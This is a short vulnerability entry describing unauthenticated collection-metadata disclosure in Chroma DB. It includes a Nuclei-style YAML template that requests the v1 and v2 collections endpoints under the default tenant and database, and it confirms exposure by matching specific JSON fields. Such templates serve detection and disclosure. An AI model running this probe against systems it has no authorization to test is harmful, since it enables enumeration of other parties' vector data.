chroma-db-unauth: Chroma DB - Information Disclosure

2026-01-24 Chroma DB PoC Public

Description

Chroma DB API endpoints were accessible and exposed collection metadata, enabling enumeration of collections under the default tenant and database, potentially leading to sensitive vector data disclosure.

PoC

id: chroma-db-unauth

info:
  name: Chroma DB - Information Disclosure
  author: Shay Ben Tikva
  severity: high
  description: |
    Chroma DB API endpoints were accessible and exposed collection metadata, enabling enumeration of collections under the default tenant and database, potentially leading to sensitive vector data disclosure.
  reference:
    - https://www.trychroma.com/security
    - https://github.com/shaybentk/chroma-db-unauthorized-info-disclosure
  metadata:
    max-request: 2
    verified: true
  tags: misconfig,api,info-leak,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/collections?tenant=default_tenant&database=default_database"
      - "{{BaseURL}}/api/v2/tenants/default_tenant/databases/default_database/collections"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sync_threshold":'
          - '"log_position"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ef555aaaf727ca93029818a82ffca72eff257f485fcb2d16f6108242ce6d5b1102201b2ce158a585ae2006f3071512f78608675a5d0943d3994880a6dc20e098dad9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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